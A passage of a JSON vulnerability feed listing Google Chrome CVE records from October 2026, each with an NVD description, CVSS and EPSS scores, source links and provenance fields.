exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113165&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113165, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113164","cveId":"CVE-2026-113164","aliases":[],"kind":"vulnerability","title":"Memory corruption in Voice in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Voice in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Voice in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.020Z","updatedAt":"2026-10-23T18:33:13.810Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113164","asOf":"2026-10-23T18:33:13.810Z"},"epss":{"probability":0.00417,"percentile":0.35711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113164&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113164","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113164","type":"primary","publishedAt":"2026-10-20T22:19:09.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113164&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113164, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113163","cveId":"CVE-2026-113163","aliases":[],"kind":"vulnerability","title":"Use after free in WebGL in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WebGL in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in WebGL in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:08.903Z","updatedAt":"2026-10-23T18:33:26.253Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113163","asOf":"2026-10-23T18:33:26.253Z"},"epss":{"probability":0.00528,"percentile":0.44388,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113163","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113163","type":"primary","publishedAt":"2026-10-20T22:19:08.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113162","cveId":"CVE-2026-113162","aliases":[],"kind":"vulnerability","title":"Improper input validation in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Improper input validation in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:08.787Z","updatedAt":"2026-10-22T15:25:23.920Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113162","asOf":"2026-10-22T15:25:23.920Z"},"epss":{"probability":0.00443,"percentile":0.3824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113162&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113162","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113162","type":"primary","publishedAt":"2026-10-20T22:19:08.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113162&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113162, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113161","cveId":"CVE-2026-113161","aliases":[],"kind":"vulnerability","title":"Use after free in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:08.673Z","updatedAt":"2026-10-22T15:25:16.153Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113161","asOf":"2026-10-22T15:25:16.153Z"},"epss":{"probability":0.0056,"percentile":0.46358,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113161","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113161","type":"primary","publishedAt":"2026-10-20T22:19:08.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113160","cveId":"CVE-2026-113160","aliases":[],"kind":"vulnerability","title":"Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:08.563Z","updatedAt":"2026-10-22T15:25:11.540Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113160","asOf":"2026-10-22T15:25:11.540Z"},"epss":{"probability":0.00443,"percentile":0.3824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113160&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113160","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113160","type":"primary","publishedAt":"2026-10-20T22:19:08.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113160&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113160, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113158","cveId":"CVE-2026-113158","aliases":[],"kind":"vulnerability","title":"Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:08.347Z","updatedAt":"2026-10-22T15:26:30.057Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113158","asOf":"2026-10-22T15:26:30.057Z"},"epss":{"probability":0.00443,"percentile":0.3824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113158&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113158","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113158","type":"primary","publishedAt":"2026-10-20T22:19:08.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113158&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113158, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113156","cveId":"CVE-2026-113156","aliases":[],"kind":"vulnerability","title":"Use after free in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:08.120Z","updatedAt":"2026-10-23T18:33:52.467Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113156","asOf":"2026-10-23T18:33:52.467Z"},"epss":{"probability":0.00452,"percentile":0.39026,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113156&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113156","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113156","type":"primary","publishedAt":"2026-10-20T22:19:08.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113156&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113156, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113155","cveId":"CVE-2026-113155","aliases":[],"kind":"vulnerability","title":"Use after free in Glic in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Glic in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Glic in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:08.010Z","updatedAt":"2026-10-22T15:26:24.383Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113155","asOf":"2026-10-22T15:26:24.383Z"},"epss":{"probability":0.00417,"percentile":0.35723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113155","type":"primary","publishedAt":"2026-10-20T22:19:08.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113155, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113154","cveId":"CVE-2026-113154","aliases":[],"kind":"vulnerability","title":"Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:07.903Z","updatedAt":"2026-10-22T15:26:19.423Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113154","asOf":"2026-10-22T15:26:19.423Z"},"epss":{"probability":0.00417,"percentile":0.35725,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113154&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113154","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113154","type":"primary","publishedAt":"2026-10-20T22:19:07.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113154&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113154, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113153","cveId":"CVE-2026-113153","aliases":[],"kind":"vulnerability","title":"Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:07.797Z","updatedAt":"2026-10-22T15:26:15.390Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113153","asOf":"2026-10-22T15:26:15.390Z"},"epss":{"probability":0.00417,"percentile":0.3572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113153","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113153","type":"primary","publishedAt":"2026-10-20T22:19:07.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113152","cveId":"CVE-2026-113152","aliases":[],"kind":"vulnerability","title":"Memory corruption in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 